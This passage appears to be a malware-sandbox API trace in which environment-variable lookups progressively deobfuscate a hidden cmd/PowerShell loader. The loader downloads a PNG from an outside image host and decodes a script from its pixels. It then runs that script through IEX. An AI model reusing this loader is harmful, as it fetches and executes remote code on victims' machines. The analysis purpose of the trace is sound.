Dn5))}'+'}['+'I'+'EXb1'+'{jh`sGCV'+'em.%e7'+'GCV.E'+'ncX37Zn'+'g'+'Pjy::AjhVDaII.'+'aEeGCVjh'+'GCV]Zng1Fl66'+'pBBQI'+'mQI{0.'+'.'+'Dn'+'90('+'Pjy)'+')').ReplaVDaE1'9a7',{s%RInaEPjy{VDa%zEhA]Pjy#H).ReplaVDaE11{VDa%zEhA]Pjy98+{VDa%zEhA]Pjy8#+{VDa%zEhA]PjyDn06),{s%RInaEPjy{VDa%zEhA]PjyDn2H).ReplaVDaE11{VDa%zEhA]PjyDnDn8+{VDa%zEhA]Pjy5H+{VDa%zEhA]Pjy8Dn),{s%RInaEPjy{VDa%zEhA]Pjy#6))^&^& se%  aDI/`aKEc%zEhPj 1gZ Fl6aRIA3QI9le:e*XbGCV).VaLuE.InFl6PjQIEVDaXmBQIanD.IqFl6NVPjQIesVDaRZGCVy%11Ljh eqFl6NV:s3L]V).Fl6aL3e  )  ^^^|GCVyPj4ERsheZVElL  -nXqFl6NZqFl6N%E]aVDa%I  -qFl6NXlPj -4ZqFl6N %zEhI3737en -e7ecu%IPjqFl6NpPjLIc 3QI9`GCVyAjhjh  -nPjGCVy]PjzEhIle  -VDaPjmBQIAqFl6N37     ^^^^^^^&1 @eqFl6NV:VDaXmsGCVyec{H,2H,25Pjy-LQXIn'')1@Znpu% )  ^&^&  cm37.e7E   cgc oa37Z/Yo") returned 0x611
	[0057.088] GetEnvironmentVariableW (in: lpName="_'*{", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="seGCV  suL]Fl6aK. 1 @sheZVelLI37{DnPjy+@s%zEhELlI37{Dn#Pjy+'Xb') 11's'+'al Fl'+']'+' qFl6N'+'e4-Pj3k9heZec'+'GCV'+'['+'A'+'3737-%'+'`pe -As'+'sem3k9l`'+'qFl6Name 9a7jh`sGCVem.D]a'+'4'+'Zng9a7['+'Fl66pBBk37s'+'aKFl] jh`sGCVe'+'m.'+'D]a4Zn'+'g.B'+'ZGCVmap11Fl] qFl6NeGCV.W'+'e3k9VDa'+'lZenGCV).'+'PjpenRea3719a'+'7'+'%zEhGCVGCVps:cgcgZmag'+'es2.Zmg3k9X'+'7.cX'+'mcg90cgFlDncg'+'gaGCV2BkVsK_X.'+'png9a7'+'))['+'Fl66pBBk'+'mkaKFl] B`'+'GCV'+'e{Pjy '+'2DnH0[10.'+'.H)3k9'+'jh'+'heZo\\FlX]eac%zEh1'+'Fl6'+'6'+'pBBk7 Zn10..H'+'2('+'))\\Fl66pBBk'+'GCV'+'GCVaKFl66pBBk37s.aEe'+'GCVGCVyZ7el1Fl66pBBk7,'+'Fl6'+'6pBBk_'+')[Fl66pBBkmk'+'{Fl66pBBk'+'_*H28+Fl66pBBk7PjyaK1{maGCV%zEhPjy::zEh'+'lX'+'X]11Fl66'+'pBBkGCVGCV.B-3k9an37Dn5)*Dn6)-3k9X]'+'1Fl66pBBkGCV'+'GCV.aE -3k9an37 Dn5))}'+'}['+'I'+'EXb1'+'{jh`sGCV'+'em.%e7'+'GCV.E'+'ncX37Zn'+'g'+'Pjy::AjhVDaII.'+'aEeGCVjh'+'GCV]Zng1Fl66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Pjy)'+')').ReplaVDaE1'9a7',{s%RInaEPjy{VDa%zEhA]Pjy#H).ReplaVDaE11{VDa%zEhA]Pjy98+{VDa%zEhA]Pjy8#+{VDa%zEhA]PjyDn06),{s%RInaEPjy{VDa%zEhA]PjyDn2H).ReplaVDaE11{VDa%zEhA]PjyDnDn8+{VDa%zEhA]Pjy5H+{VDa%zEhA]Pjy8Dn),{s%RInaEPjy{VDa%zEhA]Pjy#6))^&^& se%  aDI/`aKEc%zEhPj 1gZ Fl6aRIA3k9le:e*XbGCV).VaLuE.InFl6PjkEVDaXmBkanD.IqFl6NVPjkesVDaRZGCVy%11Ljh eqFl6NV:s3L]V).Fl6aL3e  )  ^^^|GCVyPj4ERsheZVElL  -nXqFl6NZqFl6N%E]aVDa%I  -qFl6NXlPj -4ZqFl6N %zEhI3737en -e7ecu%IPjqFl6NpPjLIc 3k9`GCVyAjhjh  -nPjGCVy]PjzEhIle  -VDaPjmBkAqFl6N37     ^^^^^^^&1 @eqFl6NV:VDaXmsGCVyec{H,2H,25Pjy-LQXIn'')1@Znpu% )  ^&^&  cm37.e7E   cgc oa37Z/Yo") returned 0x5f2
	[0057.092] GetEnvironmentVariableW (in: lpName=";`}~", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suL]Fl6aK. 1 @sheZVelLI37{DnPjy+@s%zEhELlI37{Dn#Pjy+'Xb') 11's'+'al Fl'+']'+' qFl6N'+'e4-Pj3k9heZec'+'t'+'['+'A'+'3737-%'+'`pe -As'+'sem3k9l`'+'qFl6Name 9a7jh`stem.D]a'+'4'+'Zng9a7['+'Fl66pBBk37s'+'aKFl] jh`ste'+'m.'+'D]a4Zn'+'g.B'+'Ztmap11Fl] qFl6Net.W'+'e3k9VDa'+'lZent).'+'PjpenRea3719a'+'7'+'%zEhttps:cgcgZmag'+'es2.Zmg3k9X'+'7.cX'+'mcg90cgFlDncg'+'gat2BkVsK_X.'+'png9a7'+'))['+'Fl66pBBk'+'mkaKFl] B`'+'t'+'e{Pjy '+'2DnH0[10.'+'.H)3k9'+'jh'+'heZo\\FlX]eac%zEh1'+'Fl6'+'6'+'pBBk7 Zn10..H'+'2('+'))\\Fl66pBBk'+'t'+'taKFl66pBBk37s.aEe'+'ttyZ7el1Fl66pBBk7,'+'Fl6'+'6pBBk_'+')[Fl66pBBkmk'+'{Fl66pBBk'+'_*H28+Fl66pBBk7PjyaK1{mat%zEhPjy::zEh'+'lX'+'X]11Fl66'+'pBBktt.B-3k9an37Dn5)*Dn6)-3k9X]'+'1Fl66pBBkt'+'t.aE -3k9an37 Dn5))}'+'}['+'I'+'EXb1'+'{jh`st'+'em.%e7'+'t.E'+'ncX37Zn'+'g'+'Pjy::AjhVDaII.'+'aEetjh'+'t]Zng1Fl66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Pjy)'+')').ReplaVDaE1'9a7',{s%RInaEPjy{VDa%zEhA]Pjy#H).ReplaVDaE11{VDa%zEhA]Pjy98+{VDa%zEhA]Pjy8#+{VDa%zEhA]PjyDn06),{s%RInaEPjy{VDa%zEhA]PjyDn2H).ReplaVDaE11{VDa%zEhA]PjyDnDn8+{VDa%zEhA]Pjy5H+{VDa%zEhA]Pjy8Dn),{s%RInaEPjy{VDa%zEhA]Pjy#6))^&^& se%  aDI/`aKEc%zEhPj 1gZ Fl6aRIA3k9le:e*Xbt).VaLuE.InFl6PjkEVDaXmBkanD.IqFl6NVPjkesVDaRZty%11Ljh eqFl6NV:s3L]V).Fl6aL3e  )  ^^^|tyPj4ERsheZVElL  -nXqFl6NZqFl6N%E]aVDa%I  -qFl6NXlPj -4ZqFl6N %zEhI3737en -e7ecu%IPjqFl6NpPjLIc 3k9`tyAjhjh  -nPjty]PjzEhIle  -VDaPjmBkAqFl6N37     ^^^^^^^&1 @eqFl6NV:VDaXmstyec{H,2H,25Pjy-LQXIn'')1@Znpu% )  ^&^&  cm37.e7E   cgc oa37Z/Yo") returned 0x5b6
	[0057.094] GetEnvironmentVariableW (in: lpName="+?.,", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suL]f6aK. 1 @sheZVelLI37{DnPjy+@s%zEhELlI37{Dn#Pjy+'Xb') 11's'+'al f'+']'+' qf6N'+'e4-Pj3k9heZec'+'t'+'['+'A'+'3737-%'+'`pe -As'+'sem3k9l`'+'qf6Name 9a7jh`stem.D]a'+'4'+'Zng9a7['+'f66pBBk37s'+'aKf] jh`ste'+'m.'+'D]a4Zn'+'g.B'+'Ztmap11f] qf6Net.W'+'e3k9VDa'+'lZent).'+'PjpenRea3719a'+'7'+'%zEhttps:cgcgZmag'+'es2.Zmg3k9X'+'7.cX'+'mcg90cgfDncg'+'gat2BkVsK_X.'+'png9a7'+'))['+'f66pBBk'+'mkaKf] B`'+'t'+'e{Pjy '+'2DnH0[10.'+'.H)3k9'+'jh'+'heZo\\fX]eac%zEh1'+'f6'+'6'+'pBBk7 Zn10..H'+'2('+'))\\f66pBBk'+'t'+'taKf66pBBk37s.aEe'+'ttyZ7el1f66pBBk7,'+'f6'+'6pBBk_'+')[f66pBBkmk'+'{f66pBBk'+'_*H28+f66pBBk7PjyaK1{mat%zEhPjy::zEh'+'lX'+'X]11f66'+'pBBktt.B-3k9an37Dn5)*Dn6)-3k9X]'+'1f66pBBkt'+'t.aE -3k9an37 Dn5))}'+'}['+'I'+'EXb1'+'{jh`st'+'em.%e7'+'t.E'+'ncX37Zn'+'g'+'Pjy::AjhVDaII.'+'aEetjh'+'t]Zng1f66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Pjy)'+')').ReplaVDaE1'9a7',{s%RInaEPjy{VDa%zEhA]Pjy#H).ReplaVDaE11{VDa%zEhA]Pjy98+{VDa%zEhA]Pjy8#+{VDa%zEhA]PjyDn06),{s%RInaEPjy{VDa%zEhA]PjyDn2H).ReplaVDaE11{VDa%zEhA]PjyDnDn8+{VDa%zEhA]Pjy5H+{VDa%zEhA]Pjy8Dn),{s%RInaEPjy{VDa%zEhA]Pjy#6))^&^& se%  aDI/`aKEc%zEhPj 1gZ f6aRIA3k9le:e*Xbt).VaLuE.Inf6PjkEVDaXmBkanD.Iqf6NVPjkesVDaRZty%11Ljh eqf6NV:s3L]V).f6aL3e  )  ^^^|tyPj4ERsheZVElL  -nXqf6NZqf6N%E]aVDa%I  -qf6NXlPj -4Zqf6N %zEhI3737en -e7ecu%IPjqf6NpPjLIc 3k9`tyAjhjh  -nPjty]PjzEhIle  -VDaPjmBkAqf6N37     ^^^^^^^&1 @eqf6NV:VDaXmstyec{H,2H,25Pjy-LQXIn'')1@Znpu% )  ^&^&  cm37.e7E   cgc oa37Z/Yo") returned 0x593
	[0057.097] GetEnvironmentVariableW (in: lpName="']", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suL]f6aK. 1 @sheZVelLId{DnPjy+@s%zEhELlId{Dn#Pjy+'Xb') 11's'+'al f'+']'+' qf6N'+'e4-Pj3k9heZec'+'t'+'['+'A'+'dd-%'+'`pe -As'+'sem3k9l`'+'qf6Name 9a7jh`stem.D]a'+'4'+'Zng9a7['+'f66pBBkds'+'aKf] jh`ste'+'m.'+'D]a4Zn'+'g.B'+'Ztmap11f] qf6Net.W'+'e3k9VDa'+'lZent).'+'PjpenRead19a'+'7'+'%zEhttps:cgcgZmag'+'es2.Zmg3k9X'+'7.cX'+'mcg90cgfDncg'+'gat2BkVsK_X.'+'png9a7'+'))['+'f66pBBk'+'mkaKf] B`'+'t'+'e{Pjy '+'2DnH0[10.'+'.H)3k9'+'jh'+'heZo\\fX]eac%zEh1'+'f6'+'6'+'pBBk7 Zn10..H'+'2('+'))\\f66pBBk'+'t'+'taKf66pBBkds.aEe'+'ttyZ7el1f66pBBk7,'+'f6'+'6pBBk_'+')[f66pBBkmk'+'{f66pBBk'+'_*H28+f66pBBk7PjyaK1{mat%zEhPjy::zEh'+'lX'+'X]11f66'+'pBBktt.B-3k9andDn5)*Dn6)-3k9X]'+'1f66pBBkt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EXb1'+'{jh`st'+'em.%e7'+'t.E'+'ncXdZn'+'g'+'Pjy::AjhVDaII.'+'aEetjh'+'t]Zng1f66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Pjy)'+')').ReplaVDaE1'9a7',{s%RInaEPjy{VDa%zEhA]Pjy#H).ReplaVDaE11{VDa%zEhA]Pjy98+{VDa%zEhA]Pjy8#+{VDa%zEhA]PjyDn06),{s%RInaEPjy{VDa%zEhA]PjyDn2H).ReplaVDaE11{VDa%zEhA]PjyDnDn8+{VDa%zEhA]Pjy5H+{VDa%zEhA]Pjy8Dn),{s%RInaEPjy{VDa%zEhA]Pjy#6))^&^& se%  aDI/`aKEc%zEhPj 1gZ f6aRIA3k9le:e*Xbt).VaLuE.Inf6PjkEVDaXmBkanD.Iqf6NVPjkesVDaRZty%11Ljh eqf6NV:s3L]V).f6aL3e  )  ^^^|tyPj4ERsheZVElL  -nXqf6NZqf6N%E]aVDa%I  -qf6NXlPj -4Zqf6N %zEhIdden -e7ecu%IPjqf6NpPjLIc 3k9`tyAjhjh  -nPjty]PjzEhIle  -VDaPjmBkAqf6Nd     ^^^^^^^&1 @eqf6NV:VDaXmstyec{H,2H,25Pjy-LQXIn'')1@Znpu% )  ^&^&  cmd.e7E   cgc oadZ/Yo") returned 0x584
	[0057.101] GetEnvironmentVariableW (in: lpName="[$#?", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suL]f6aK. 1 @sheZVelLId{DnPjy+@sTzEhELlId{Dn#Pjy+'Xb') 11's'+'al f'+']'+' qf6N'+'e4-Pj3k9heZec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qf6Name 9a7jh`stem.D]a'+'4'+'Zng9a7['+'f66pBBkds'+'aKf] jh`ste'+'m.'+'D]a4Zn'+'g.B'+'Ztmap11f] qf6Net.W'+'e3k9VDa'+'lZent).'+'PjpenRead19a'+'7'+'TzEhttps:cgcgZmag'+'es2.Zmg3k9X'+'7.cX'+'mcg90cgfDncg'+'gat2BkVsK_X.'+'png9a7'+'))['+'f66pBBk'+'mkaKf] B`'+'t'+'e{Pjy '+'2DnH0[10.'+'.H)3k9'+'jh'+'heZo\\fX]eacTzEh1'+'f6'+'6'+'pBBk7 Zn10..H'+'2('+'))\\f66pBBk'+'t'+'taKf66pBBkds.aEe'+'ttyZ7el1f66pBBk7,'+'f6'+'6pBBk_'+')[f66pBBkmk'+'{f66pBBk'+'_*H28+f66pBBk7PjyaK1{matTzEhPjy::zEh'+'lX'+'X]11f66'+'pBBktt.B-3k9andDn5)*Dn6)-3k9X]'+'1f66pBBkt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EXb1'+'{jh`st'+'em.Te7'+'t.E'+'ncXdZn'+'g'+'Pjy::AjhVDaII.'+'aEetjh'+'t]Zng1f66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Pjy)'+')').ReplaVDaE1'9a7',{sTRInaEPjy{VDaTzEhA]Pjy#H).ReplaVDaE11{VDaTzEhA]Pjy98+{VDaTzEhA]Pjy8#+{VDaTzEhA]PjyDn06),{sTRInaEPjy{VDaTzEhA]PjyDn2H).ReplaVDaE11{VDaTzEhA]PjyDnDn8+{VDaTzEhA]Pjy5H+{VDaTzEhA]Pjy8Dn),{sTRInaEPjy{VDaTzEhA]Pjy#6))^&^& seT  aDI/`aKEcTzEhPj 1gZ f6aRIA3k9le:e*Xbt).VaLuE.Inf6PjkEVDaXmBkanD.Iqf6NVPjkesVDaRZtyT11Ljh eqf6NV:s3L]V).f6aL3e  )  ^^^|tyPj4ERsheZVElL  -nXqf6NZqf6NTE]aVDaTI  -qf6NXlPj -4Zqf6N TzEhIdden -e7ecuTIPjqf6NpPjLIc 3k9`tyAjhjh  -nPjty]PjzEhIle  -VDaPjmBkAqf6Nd     ^^^^^^^&1 @eqf6NV:VDaXmstyec{H,2H,25Pjy-LQXIn'')1@ZnpuT )  ^&^&  cmd.e7E   cgc oadZ/Yo") returned 0x584
	[0057.112] GetEnvironmentVariableW (in: lpName="}\\", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suL]f6aK. 1 @sheZVelLId{DnPjy+@sTzEhELlId{Dn#Pjy+'Xb') 11's'+'al f'+']'+' qf6N'+'e4-Pj3k9heZec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qf6Name 9a7jh`stem.D]a'+'4'+'Zng9a7['+'f66pBBkds'+'aKf] jh`ste'+'m.'+'D]a4Zn'+'g.B'+'Ztmap11f] qf6Net.W'+'e3k9C'+'lZent).'+'PjpenRead19a'+'7'+'TzEhttps:cgcgZmag'+'es2.Zmg3k9X'+'7.cX'+'mcg90cgfDncg'+'gat2BkVsK_X.'+'png9a7'+'))['+'f66pBBk'+'mkaKf] B`'+'t'+'e{Pjy '+'2DnH0[10.'+'.H)3k9'+'jh'+'heZo\\fX]eacTzEh1'+'f6'+'6'+'pBBk7 Zn10..H'+'2('+'))\\f66pBBk'+'t'+'taKf66pBBkds.aEe'+'ttyZ7el1f66pBBk7,'+'f6'+'6pBBk_'+')[f66pBBkmk'+'{f66pBBk'+'_*H28+f66pBBk7PjyaK1{matTzEhPjy::zEh'+'lX'+'X]11f66'+'pBBktt.B-3k9andDn5)*Dn6)-3k9X]'+'1f66pBBkt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EXb1'+'{jh`st'+'em.Te7'+'t.E'+'ncXdZn'+'g'+'Pjy::AjhCII.'+'aEetjh'+'t]Zng1f66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Pjy)'+')').ReplaCE1'9a7',{sTRInaEPjy{CTzEhA]Pjy#H).ReplaCE11{CTzEhA]Pjy98+{CTzEhA]Pjy8#+{CTzEhA]PjyDn06),{sTRInaEPjy{CTzEhA]PjyDn2H).ReplaCE11{CTzEhA]PjyDnDn8+{CTzEhA]Pjy5H+{CTzEhA]Pjy8Dn),{sTRInaEPjy{CTzEhA]Pjy#6))^&^& seT  aDI/`aKEcTzEhPj 1gZ f6aRIA3k9le:e*Xbt).VaLuE.Inf6PjkECXmBkanD.Iqf6NVPjkesCRZtyT11Ljh eqf6NV:s3L]V).f6aL3e  )  ^^^|tyPj4ERsheZVElL  -nXqf6NZqf6NTE]aCTI  -qf6NXlPj -4Zqf6N TzEhIdden -e7ecuTIPjqf6NpPjLIc 3k9`tyAjhjh  -nPjty]PjzEhIle  -CPjmBkAqf6Nd     ^^^^^^^&1 @eqf6NV:CXmstyec{H,2H,25Pjy-LQXIn'')1@ZnpuT )  ^&^&  cmd.e7E   cgc oadZ/Yo") returned 0x55e
	[0057.114] GetEnvironmentVariableW (in: lpName="*.@", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suL]f6aK. 1 @sheZVelLId{DnPjy+@sTzEhELlId{Dn#Pjy+'Xb') 11's'+'al f'+']'+' qf6N'+'e4-Pj3k9heZec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qf6Name 9a7jh`stem.D]a'+'4'+'Zng9a7['+'f66pBBkds'+'aKf] jh`ste'+'m.'+'D]a4Zn'+'g.B'+'Ztmap11f] qf6Net.W'+'e3k9C'+'lZent).'+'PjpenRead19a'+'7'+'TzEhttps:cgcgZmag'+'es2.Zmg3k9X'+'7.cX'+'mcg90cgfDncg'+'gat2BkVsK_X.'+'png9a7'+'))['+'f66pBBk'+'mkaKf] B`'+'t'+'e{Pjy '+'2DnH0[10.'+'.H)3k9'+'jh'+'heZ%\\fX]eacTzEh1'+'f6'+'6'+'pBBk7 Zn10..H'+'2('+'))\\f66pBBk'+'t'+'taKf66pBBkds.aEe'+'ttyZ7el1f66pBBk7,'+'f6'+'6pBBk_'+')[f66pBBkmk'+'{f66pBBk'+'_*H28+f66pBBk7PjyaK1{matTzEhPjy::zEh'+'lX'+'X]11f66'+'pBBktt.B-3k9andDn5)*Dn6)-3k9X]'+'1f66pBBkt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EXb1'+'{jh`st'+'em.Te7'+'t.E'+'ncXdZn'+'g'+'Pjy::AjhCII.'+'aEetjh'+'t]Zng1f66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Pjy)'+')').ReplaCE1'9a7',{sTRInaEPjy{CTzEhA]Pjy#H).ReplaCE11{CTzEhA]Pjy98+{CTzEhA]Pjy8#+{CTzEhA]PjyDn06),{sTRInaEPjy{CTzEhA]PjyDn2H).ReplaCE11{CTzEhA]PjyDnDn8+{CTzEhA]Pjy5H+{CTzEhA]Pjy8Dn),{sTRInaEPjy{CTzEhA]Pjy#6))^&^& seT  aDI/`aKEcTzEhPj 1gZ f6aRIA3k9le:e*Xbt).VaLuE.Inf6PjkECXmBkanD.Iqf6NVPjkesCRZtyT11Ljh eqf6NV:s3L]V).f6aL3e  )  ^^^|tyPj4ERsheZVElL  -nXqf6NZqf6NTE]aCTI  -qf6NXlPj -4Zqf6N TzEhIdden -e7ecuTIPjqf6NpPjLIc 3k9`tyAjhjh  -nPjty]PjzEhIle  -CPjmBkAqf6Nd     ^^^^^^^&1 @eqf6NV:CXmstyec{H,2H,25Pjy-LQXIn'')1@ZnpuT )  ^&^&  cmd.e7E   cgc %adZ/Y%") returned 0x55e
	[0057.120] GetEnvironmentVariableW (in: lpName="*}", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suL]f6aK. 1 @sheZVelLId{DnPjy+@sTzEhELlId{Dn#Pjy+'ob') 11's'+'al f'+']'+' qf6N'+'e4-Pj3k9heZec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qf6Name 9a7jh`stem.D]a'+'4'+'Zng9a7['+'f66pBBkds'+'aKf] jh`ste'+'m.'+'D]a4Zn'+'g.B'+'Ztmap11f] qf6Net.W'+'e3k9C'+'lZent).'+'PjpenRead19a'+'7'+'TzEhttps:cgcgZmag'+'es2.Zmg3k9o'+'7.co'+'mcg90cgfDncg'+'gat2BkVsK_o.'+'png9a7'+'))['+'f66pBBk'+'mkaKf] B`'+'t'+'e{Pjy '+'2DnH0[10.'+'.H)3k9'+'jh'+'heZ%\\fo]eacTzEh1'+'f6'+'6'+'pBBk7 Zn10..H'+'2('+'))\\f66pBBk'+'t'+'taKf66pBBkds.aEe'+'ttyZ7el1f66pBBk7,'+'f6'+'6pBBk_'+')[f66pBBkmk'+'{f66pBBk'+'_*H28+f66pBBk7PjyaK1{matTzEhPjy::zEh'+'lo'+'o]11f66'+'pBBktt.B-3k9andDn5)*Dn6)-3k9o]'+'1f66pBBkt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'Eob1'+'{jh`st'+'em.Te7'+'t.E'+'ncodZn'+'g'+'Pjy::AjhCII.'+'aEetjh'+'t]Zng1f66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Pjy)'+')').ReplaCE1'9a7',{sTRInaEPjy{CTzEhA]Pjy#H).ReplaCE11{CTzEhA]Pjy98+{CTzEhA]Pjy8#+{CTzEhA]PjyDn06),{sTRInaEPjy{CTzEhA]PjyDn2H).ReplaCE11{CTzEhA]PjyDnDn8+{CTzEhA]Pjy5H+{CTzEhA]Pjy8Dn),{sTRInaEPjy{CTzEhA]Pjy#6))^&^& seT  aDI/`aKEcTzEhPj 1gZ f6aRIA3k9le:e*obt).VaLuE.Inf6PjkEComBkanD.Iqf6NVPjkesCRZtyT11Ljh eqf6NV:s3L]V).f6aL3e  )  ^^^|tyPj4ERsheZVElL  -noqf6NZqf6NTE]aCTI  -qf6NolPj -4Zqf6N TzEhIdden -e7ecuTIPjqf6NpPjLIc 3k9`tyAjhjh  -nPjty]PjzEhIle  -CPjmBkAqf6Nd     ^^^^^^^&1 @eqf6NV:Comstyec{H,2H,25Pjy-LQoIn'')1@ZnpuT )  ^&^&  cmd.e7E   cgc %adZ/Y%") returned 0x55e
	[0057.122] GetEnvironmentVariableW (in: lpName="`._", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suL]f6aK. 1 @sheZVelLId{DnPjy+@sTzEhELlId{Dn#Pjy+'X') 11's'+'al f'+']'+' qf6N'+'e4-Pj3k9heZec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qf6Name 9a7jh`stem.D]a'+'4'+'Zng9a7['+'f66pBBkds'+'aKf] jh`ste'+'m.'+'D]a4Zn'+'g.B'+'Ztmap11f] qf6Net.W'+'e3k9C'+'lZent).'+'PjpenRead19a'+'7'+'TzEhttps:cgcgZmag'+'es2.Zmg3k9o'+'7.co'+'mcg90cgfDncg'+'gat2BkVsK_o.'+'png9a7'+'))['+'f66pBBk'+'mkaKf] B`'+'t'+'e{Pjy '+'2DnH0[10.'+'.H)3k9'+'jh'+'heZ%\\fo]eacTzEh1'+'f6'+'6'+'pBBk7 Zn10..H'+'2('+'))\\f66pBBk'+'t'+'taKf66pBBkds.aEe'+'ttyZ7el1f66pBBk7,'+'f6'+'6pBBk_'+')[f66pBBkmk'+'{f66pBBk'+'_*H28+f66pBBk7PjyaK1{matTzEhPjy::zEh'+'lo'+'o]11f66'+'pBBktt.B-3k9andDn5)*Dn6)-3k9o]'+'1f66pBBkt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{jh`st'+'em.Te7'+'t.E'+'ncodZn'+'g'+'Pjy::AjhCII.'+'aEetjh'+'t]Zng1f66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Pjy)'+')').ReplaCE1'9a7',{sTRInaEPjy{CTzEhA]Pjy#H).ReplaCE11{CTzEhA]Pjy98+{CTzEhA]Pjy8#+{CTzEhA]PjyDn06),{sTRInaEPjy{CTzEhA]PjyDn2H).ReplaCE11{CTzEhA]PjyDnDn8+{CTzEhA]Pjy5H+{CTzEhA]Pjy8Dn),{sTRInaEPjy{CTzEhA]Pjy#6))^&^& seT  aDI/`aKEcTzEhPj 1gZ f6aRIA3k9le:e*Xt).VaLuE.Inf6PjkEComBkanD.Iqf6NVPjkesCRZtyT11Ljh eqf6NV:s3L]V).f6aL3e  )  ^^^|tyPj4ERsheZVElL  -noqf6NZqf6NTE]aCTI  -qf6NolPj -4Zqf6N TzEhIdden -e7ecuTIPjqf6NpPjLIc 3k9`tyAjhjh  -nPjty]PjzEhIle  -CPjmBkAqf6Nd     ^^^^^^^&1 @eqf6NV:Comstyec{H,2H,25Pjy-LQoIn'')1@ZnpuT )  ^&^&  cmd.e7E   cgc %adZ/Y%") returned 0x55b
	[0057.130] GetEnvironmentVariableW (in: lpName="\\#", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suL]f6aK. 1 @sheZVelLId{DnPjy+@sTzEhELlId{Dn#Pjy+'X') 11's'+'al f'+']'+' qf6N'+'e4-Pj3k9heZec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qf6Name 9a7jh`stem.D]a'+'4'+'Zng9a7['+'f66pBBkds'+'aKf] jh`ste'+'m.'+'D]a4Zn'+'g.B'+'Ztmap11f] qf6Net.W'+'e3k9C'+'lZent).'+'PjpenRead19a'+'7'+'TzEhttps:cgcgZmag'+'es2.Zmg3k9o'+'7.co'+'mcg90cgfDncg'+'gat2BkVsK_o.'+'png9a7'+'))['+'f66pBBk'+'mkaKf] B`'+'t'+'e{Pjy '+'2DnH0[10.'+'.H)3k9'+'jh'+'heZ%\\fo]eacTzEh1'+'f6'+'6'+'pBBk7 Zn10..H'+'2('+'))\\f66pBBk'+'t'+'taKf66pBBkds.aEe'+'ttyZ7el1f66pBBk7,'+'f6'+'6pBBk_'+')[f66pBBkmk'+'{f66pBBk'+'_*H28+f66pBBk7PjyaK1{matTzEhPjy::zEh'+'lo'+'o]11f66'+'pBBktt.B-3k9andDn5)*Dn6)-3k9o]'+'1f66pBBkt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{jh`st'+'em.Te7'+'t.E'+'ncodZn'+'g'+'Pjy::AjhCII.'+'aEetjh'+'t]Zng1f66'+'pBBk'+'mk{0.'+'.'+'Dn'+'90('+'Pjy)'+')').ReplaCE1'9a7',{sTRInaEPjy{CTzEhA]Pjy#H).ReplaCE11{CTzEhA]Pjy98+{CTzEhA]Pjy8#+{CTzEhA]PjyDn06),{sTRInaEPjy{CTzEhA]PjyDn2H).ReplaCE11{CTzEhA]PjyDnDn8+{CTzEhA]Pjy5H+{CTzEhA]Pjy8Dn),{sTRInaEPjy{CTzEhA]Pjy#6))^&^& seT  aDI/`aKEcTzEhPj 1gZ f6aRIA3k9le:e*Xt).VaLuE.Inf6PjkEComBkanD.Iqf6NVPjkesCRZtyT11Ljh eqf6NV:s3L]V).f6aL3e  )  ^^^|tyPj4ERsheZVElL  -noqf6NZqf6NTE]aCTI  -qf6NolPj -4Zqf6N TzEhIdden -e7ecuTIPjqf6NpPjLIc 3k9`tyAjhjh  -nPjty]PjzEhIle  -CPjmBkAqf6Nd     ^^^^^^^&1 @eqf6NV:Comstyec{H,2H,25Pjy-JoIn'')1@ZnpuT )  ^&^&  cmd.e7E   cgc %adZ/Y%") returned 0x55a
	[0057.135] GetEnvironmentVariableW (in: lpName="~\\", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suL]f6aK. 1 @sheZVelLId{DnOy+@sTzEhELlId{Dn#Oy+'X') 11's'+'al f'+']'+' qf6N'+'e4-O3k9heZec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qf6Name 9a7jh`stem.D]a'+'4'+'Zng9a7['+'f66pBBkds'+'aKf] jh`ste'+'m.'+'D]a4Zn'+'g.B'+'Ztmap11f] qf6Net.W'+'e3k9C'+'lZent).'+'OpenRead19a'+'7'+'TzEhttps:cgcgZmag'+'es2.Zmg3k9o'+'7.co'+'mcg90cgfDncg'+'gat2BkVsK_o.'+'png9a7'+'))['+'f66pBBk'+'mkaKf] B`'+'t'+'e{Oy '+'2DnH0[10.'+'.H)3k9'+'jh'+'heZ%\\fo]eacTzEh1'+'f6'+'6'+'pBBk7 